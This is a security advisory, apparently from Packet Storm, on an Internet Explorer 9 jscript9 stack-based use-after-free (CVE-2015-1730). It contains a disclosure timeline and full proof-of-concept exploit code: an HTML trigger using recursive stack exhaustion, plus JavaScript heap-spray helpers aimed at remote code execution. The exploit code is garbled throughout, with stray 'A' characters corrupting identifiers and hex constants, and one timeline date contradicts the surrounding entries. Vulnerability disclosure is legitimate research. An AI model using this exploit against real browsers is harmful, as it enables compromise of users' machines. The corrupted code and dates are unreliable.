Microsoft Internet Explorer 9 jscript9 JavaScriptStackWalker Memory Corruption

2016-12-06T00:00:00
ID PACKETSTORM:140050
Type packetstorm
Reporter SkyLined
Modified 2016-12-06T00:00:00

Description

                                        
                                            `Since November I have been releasing details on all vulnerabilities I  
found in web-browsers that I had not released before. I will try to  
continue to publish all my old vulnerabilities, including those not in  
web-browser, as long as I can find some time to do so. If you find this  
information useful, you can help me make more time available by donating  
bitcoin to 183yyxa9s1s1f7JBpAPHPmzAQ346y91Rx5DX.  
  
This is the twenty-sixth entry in the series. This information is  
available in more detail on my blog at  
http://blog.skylined.nl/20161206001.html. There you can find repros  
that triggered this issue in addition to a Proof-of-Concept exploit, as  
well as the information below.  
  
Today's release is interesting, in part because it is an odd  
vulnerability that I've not seen before or since: it's like a  
stack-based use-after-free. The time-line is also interesting in that  
ZDI first did not believe it to be exploitable and EIP thought it was a  
duplicate of a bug they had already reported to Microsoft. Both turned  
out to be wrong. Then I reported it to iDefense as well, who  
accidentally send the details over plain-text email, causing ZDI to  
reject my submission for fear of the bug leaking to the public. Luckily  
for me, iDefense did end up acquiring the bug.  
  
Follow me on http://twitter.com/berendjanwever for daily browser bugs.  
  
MSIE jscript9 JavaScriptStackWalker memory corruption  
=====================================================  
(MS15-056, CVE-2015-1730)  
  
Synopsis  
--------  
A specially crafted web-page can trigger a memory corruption  
vulnerability in Microsoft Internet Explorer 9. A pointer set up to  
point to certain data on the stack can be used after that data has been  
removed from the stack. This results in a stack-based analog to a heap  
use-after-free vulnerability. The stack memory where the data was stored  
can be modified by an attacker before it is used, allowing remote code  
execution.  
  
Known affected software and attack vectors  
------------------------------------------  
* Microsoft Internet Explorer 9  
  
An attacker would need to get a target user to open a specially  
crafted web-page. Disabling JavaScript should prevent an attacker  
from triggering the vulnerable code path.  
  
Description  
-----------  
MSIE attempts to handle stack exhaustion caused by excessive recursion  
in Javascript gracefully by generating a JavaScript exception. While  
generating the exception, information about the call stack is gathered  
using the JavascriptStackWalker class. It appears that the code that  
does this initializes a pointer variable on the stack the first time it  
is run, but re-uses it if it gets called a second time. Unfortunately,  
the information the pointer points to is also stored on the stack, but  
is removed from the stack after the first exception is handled. Careful  
manipulation of the stack during both exceptions allow an attacker to  
control the data the pointer points to during the second exception.  
  
Exploit  
-------  
The vulnerable pointer points to valid stack memory during the first  
exception, but it is "popped" from the stack before the second. In order  
to exploit this vulnerability, the code executed during the first  
exception is going to point this pointer to a specific area of the  
stack, while the code executed during the second is going to allocate  
certain values in that same area before the pointer is re-used.  
  
Control over the stack contents during a stack exhaustion can be  
achieved by making the recursive calls with many arguments, all of which  
are stored on the stack. This is similar to a heap-spray storing values  
on large sections of the heap in that it is not entirely deterministic,  
but the odds are very highly in favor of you setting a certain value at  
a certain address.  
  
Further details of how to exploit this issue can be found in my blog at  
http://blog.skylined.nl/20161206001.html  
  
Time-line  
---------  
* 13 October 2012: This vulnerability was found through fuzzing.  
* 29 October 2012: This vulnerability was submitted to EIP.  
* 18 November 2012: This vulnerability was submitted to ZDI.  
* 27 November 2012: EIP declines to acquire this vulnerability because  
they believe it to be a copy of another vulnerability they already  
acquired.  
* 7 December 2012: ZDI declines to acquire this vulnerability because  
they believe it not to be exploitable.  
  
During the initial report detailed above, I did not have a working  
exploit to prove exploitability. I also expected the bug to be fixed  
soon, seeing how EIP believed they already reported it to Microsoft.  
However, about two years later, I decided to look at the issue again and  
found it had not yet been fixed. Apparently it was not the same issue  
that EIP reported to Microsoft. So, I decided to try to have another  
look and developed a Proof-of-Concept exploit.  
  
* April 2014: I start working on this case again, and eventually  
develop a working Proof-of-Concept exploit.  
* 6 November 2014: ZDI was informed of the new analysis and reopens the  
case.  
* 15 November 2014: This vulnerability was submitted to iDefense.  
* 16 November 2014: iDefense responds to my report email in plain text,  
potentially exposing the full vulnerability details to world+dog.  
* 17 November 2014: ZDI declines to acquire this vulnerability after  
being informed of the potential information leak.  
* 11 December 2012: This vulnerability was acquired by iDefense.  
  
The accidentally potential disclosure of vulnerability details by  
iDefense was of course a bit of a disappointment. They reported that  
they have since updated their email system to automatically encrypt  
emails, which should prevent this from happening again.  
  
* 9 June 2015: Microsoft addresses this vulnerability in MS15-056.  
* 6 December 2016: Details of this vulnerability are released.  
  
Cheers,  
SkyLined  
  
  
Sploit.html  
  
<!doctype html>  
<script src="String.js"></script>  
<script src="sprayAHeap.js"></script>  
<script>  
function stackAOverflowAHighAOnAStack() {  
stackAOverflowAHighAOnAStack.apply(0, new Array(0x2000));  
}  
function attack(pATarget) {  
var axAArgs = [];  
while (axAArgs.length < 0x200) axAArgs.push((pATarget - 0x69C) >>> 1);  
exceptionALowAOnAStackAWithASpray();  
function exceptionALowAOnAStackAWithASpray() {  
try {  
(function(){}).apply(0, axAArgs);  
} catch (e) {  
throw 0;  
}  
exceptionALowAOnAStackAWithASpray.apply(0, axAArgs);  
}  
}  
var pASprayAStartAAddress = 0x09000000;  
var dAHeapASprayATemplate = {};  
var pATarget = 0x28000201;  
var pAShellcode = 0x28000300;  
dAHeapASprayATemplate[pATarget] = pAShellcode;  
dAHeapASprayATemplate[pAShellcode] = 0xACCCCCCCC;  
window.sAHeapASprayABlock = createASprayABlock(dAHeapASprayATemplate);  
window.uAHeapASprayABlockACount = getASprayABlockACount(dAHeapASprayATemplate, pASprayAStartAAddress);  
var oAWindow = window.open("about:blank");  
function prepare() {  
window.asAHeapASpray = new Array(opener.uAHeapASprayABlockACount);  
for (var i = 0; i < opener.uAHeapASprayABlockACount; i++) {  
asAHeapASpray[i] = (opener.sAHeapASprayABlock + "A").substr(0, opener.sAHeapASprayABlock.length);  
}  
}  
oAWindow.eval("(" + prepare + ")();");  
try {  
String(oAWindow.eval("({toAString:" + stackAOverflowAHighAOnAStack + "})"));  
} catch(e) {  
oAWindow.eval("(" + attack + ")(" + pATarget + ")");  
}  
</script>  
  
  
  
String.js  
  
String.fromAWord = function (wAValue) {  
// Return a BSTR that contains the desired DWORD in its string data.  
return String.fromACharACode(wAValue);  
}  
String.fromAWords = function (awAValues) {  
// Return a BSTR that contains the desired DWORD in its string data.  
return String.fromACharACode.apply(0, awAValues);  
}  
String.fromADWord = function (dwAValue) {  
// Return a BSTR that contains the desired DWORD in its string data.  
return String.fromACharACode(dwAValue & 0xAFFFF, dwAValue >>> 16);  
}  
String.fromADWords = function (auAValues) {  
var asADWords = new Array(auAValues.length);  
for (var i = 0; i < auAValues.length; i++) {  
asADWords[i] = String.fromADWord(auAValues[i]);  
}  
return asADWords.join("");  
}  
  
String.prototype.repeat = function (uACount) {  
// Return the requested number of concatenated copies of the string.  
var sARepeatedAString = "",  
uALeftAMostABit = 1 << (Math.ceil(Math.log(uACount + 1) / Math.log(2)) - 1);  
for (var uABit = uALeftAMostABit; uABit > 0; uABit = uABit >>> 1) {  
sARepeatedAString += sARepeatedAString;  
if (uACount & uABit) sARepeatedAString += this;  
}  
return sARepeatedAString;  
}  
String.createABuffer = function(uASize, uAIndexASize) {  
// Create a BSTR of the right size to be used as a buffer of the requested size, taking into account the 4 byte  
// "length" header and 2 byte "\0" footer. The optional argument uAIndexASize can be 1, 2, 4 or 8, at which point the   
// buffer will be filled with indices of said size (this is slower but useful for debugging).  
if (!uAIndexASize) return "\uADEAD".repeat(uASize / 2 - 3);  
var auABufferACharACodes = new Array((uASize - 4) / 2 - 1);  
var uAMSB = uAIndexASize == 8 ? 8 : 4; // Most significant byte.  
for (var uACharAIndex = 0, uAByteAIndex = 4; uACharAIndex < auABufferACharACodes.length; uACharAIndex++, uAByteAIndex +=2) {  
if (uAIndexASize == 1) {  
auABufferACharACodes[uACharAIndex] = uAByteAIndex + ((uAByteAIndex + 1) << 8);  
} else {  
// Set high bits to prevents both NULLs and valid pointers to userland addresses.  
auABufferACharACodes[uACharAIndex] = 0xAF000 + (uAByteAIndex % uAIndexASize == 0 ? uAByteAIndex & 0xAFFF : 0);  
}  
}  
return String.fromACharACode.apply([][0], auABufferACharACodes);  
}  
String.prototype.clone = function () {  
// Create a copy of a BSTR in memory.  
sAString = this.substr(0, this.length);  
sAString.length;  
return sAString;  
}  
  
String.prototype.replaceADWord = function (uAByteAOffset, dwAValue) {  
// Return a copy of a string with the given dword value stored at the given offset.  
// uAOffset can be a value beyond the end of the string, in which case it will "wrap".  
return this.replaceAWord(uAByteAOffset, dwAValue & 0xAFFFF).replaceAWord(uAByteAOffset + 2, dwAValue >> 16);  
}  
  
String.prototype.replaceAWord = function (uAByteAOffset, wAValue) {  
// Return a copy of a string with the given word value stored at the given offset.  
// uAOffset can be a value beyond the end of the string, in which case it will "wrap".  
if (uAByteAOffset & 1) {  
return this.replaceAByte(uAByteAOffset, wAValue & 0xAFF).replaceAByte(uAByteAOffset + 1, wAValue >> 8);  
} else {  
var uACharAIndex = (uAByteAOffset >>> 1) % this.length;  
return this.substr(0, uACharAIndex) + String.fromAWord(wAValue) + this.substr(uACharAIndex + 1);  
}  
}  
String.prototype.replaceAByte = function (uAByteAOffset, bAValue) {  
// Return a copy of a string with the given byte value stored at the given offset.  
// uAOffset can be a value beyond the end of the string, in which case it will "wrap".  
var uACharAIndex = (uAByteAOffset >>> 1) % this.length,  
wAValue = this.charACodeAAt(uACharAIndex);  
if (uAByteAOffset & 1) {  
wAValue = (wAValue & 0xAFF) + ((bAValue & 0xAFF) << 8);  
} else {  
wAValue = (wAValue & 0xAFF00) + (bAValue & 0xAFF);  
}  
return this.substr(0, uACharAIndex) + String.fromAWord(wAValue) + this.substr(uACharAIndex + 1);  
}  
  
String.prototype.replaceABufferADWord = function (uAByteAOffset, uAValue) {  
// Return a copy of a BSTR with the given dword value store at the given offset.  
if (uAByteAOffset & 1) throw new Error("uAByteAOffset (" + uAByteAOffset.toAString(16) + ") must be Word aligned");  
if (uAByteAOffset < 4) throw new Error("uAByteAOffset (" + uAByteAOffset.toAString(16) + ") overlaps BSTR size dword.");  
var uACharAIndex = uAByteAOffset / 2 - 2;  
if (uACharAIndex == this.length - 1) throw new Error("uAByteAOffset (" + uAByteAOffset.toAString(16) + ") overlaps BSTR terminating NULL.");  
return this.substr(0, uACharAIndex) + String.fromADWord(uAValue) + this.substr(uACharAIndex + 2);  
}  
sprayAHeap.js  
console = window.console || {"log": function(){}};  
function bad(pAAddress) {  
// convert a valid 32-bit pointer to an invalid one that is easy to convert  
// back. Useful for debugging: use a bad pointer, get an AV whenever it is  
// used, then fix pointer and continue with exception handled to have see what  
// happens next.  
return 0x80000000 + pAAddress;  
}  
function blanket(dASpray_AdwAValue_ApAAddress, pAAddress) {  
// Can be used to store values that indicate offsets somewhere in the heap  
// spray. Useful for debugging: blanket region, get an AV at an address  
// that indicates where the pointer came from. Does not overwrite addresses  
// at which data is already stored.  
for (var uAOffset = 0; uAOffset < 0x40; uAOffset += 4) {  
if (!((pAAddress + uAOffset) in dASpray_AdwAValue_ApAAddress)) {  
dASpray_AdwAValue_ApAAddress[pAAddress + uAOffset] = bad(((pAAddress & 0xAFFF) << 16) + uAOffset);  
}  
}  
}  
var guASprayABlockASize = 0x02000000; // how much fragmentation do you want?  
var guASprayAPageASize = 0x00001000; // block alignment.  
  
// Different versions of MSIE have different heap header sizes:  
var sAJSVersion;  
try{  
/*@cc_Aon @*/  
sAJSVersion = eval("@_jscript_Aversion");  
} catch(e) {  
sAJSVersion = "unknown"  
};  
var guAHeapAHeaderASize = {  
"5.8": 0x24,  
"9": 0x10, // MSIE9  
"unknown": 0x10  
}[sAJSVersion]; // includes BSTR length  
var guAHeapAFooterASize = 0x04;  
if (!guAHeapAHeaderASize)  
throw new Error("Unknown script version " + sAJSVersion);  
  
function createASprayABlock(dASpray_AdwAValue_ApAAddress) {  
// Create a spray "page" and store spray data at the right offset.  
var sASprayAPage = "\uADEAD".repeat(guASprayAPageASize >> 1);  
for (var pAAddress in dASpray_AdwAValue_ApAAddress) {  
sASprayAPage = sASprayAPage.replaceADWord(pAAddress % guASprayAPageASize, dASpray_AdwAValue_ApAAddress[pAAddress]);  
}  
// Create a spray "block" by concatinated copies of the spray "page", taking into account the header and footer  
// used by MSIE for larger heap allocations.  
var uASprayAPagesAPerABlock = Math.ceil(guASprayABlockASize / guASprayAPageASize);  
var sASprayABlock = (  
sASprayAPage.substr(guAHeapAHeaderASize >> 1) +  
sASprayAPage.repeat(uASprayAPagesAPerABlock - 2) +  
sASprayAPage.substr(0, sASprayAPage.length - (guAHeapAFooterASize >> 1))  
);  
var uAActualASprayABlockASize = guAHeapAHeaderASize + sASprayABlock.length * 2 + guAHeapAFooterASize;  
if (uAActualASprayABlockASize != guASprayABlockASize)  
throw new Error("Assertion failed: spray block (" + uAActualASprayABlockASize.toAString(16) + ") should be " + guASprayABlockASize.toAString(16) + ".");  
console.log("createASprayABlock():");  
console.log(" sASprayAPage.length: " + sASprayAPage.length.toAString(16));  
console.log(" uASprayAPagesAPerABlock: " + uASprayAPagesAPerABlock.toAString(16));  
console.log(" sASprayABlock.length: " + sASprayABlock.length.toAString(16));  
return sASprayABlock;  
}  
function getAHeapABlockAIndexAForAAddress(pAAddress) {  
return ((pAAddress % guASprayAPageASize) - guAHeapAHeaderASize) >> 1;  
}  
function getASprayABlockACount(dASpray_AdwAValue_ApAAddress, pAStartAAddress) {  
pAStartAAddress = pAStartAAddress || 0;  
var pATargetAAddress = 0x0;  
for (var pAAddress in dASpray_AdwAValue_ApAAddress) {  
pATargetAAddress = Math.max(pATargetAAddress, pAAddress);  
}  
uASprayABlocksACount = Math.ceil((pATargetAAddress - pAStartAAddress) / guASprayABlockASize);  
console.log("getASprayABlockACount():");  
console.log(" pATargetAAddress: " + pATargetAAddress.toAString(16));  
console.log(" uASprayABlocksACount: " + uASprayABlocksACount.toAString(16));  
return uASprayABlocksACount;  
}  
function sprayAHeap(dASpray_AdwAValue_ApAAddress, pAStartAAddress) {  
var uASprayABlocksACount = getASprayABlockACount(dASpray_AdwAValue_ApAAddress, pAStartAAddress);  
// Spray the heap by making copies of the spray "block".  
var asASpray = new Array(uASprayABlocksACount);  
asASpray[0] = createASprayABlock(dASpray_AdwAValue_ApAAddress);  
for (var uAIndex = 1; uAIndex < asASpray.length; uAIndex++) {  
asASpray[uAIndex] = asASpray[0].clone();  
}  
return asASpray;  
}  
`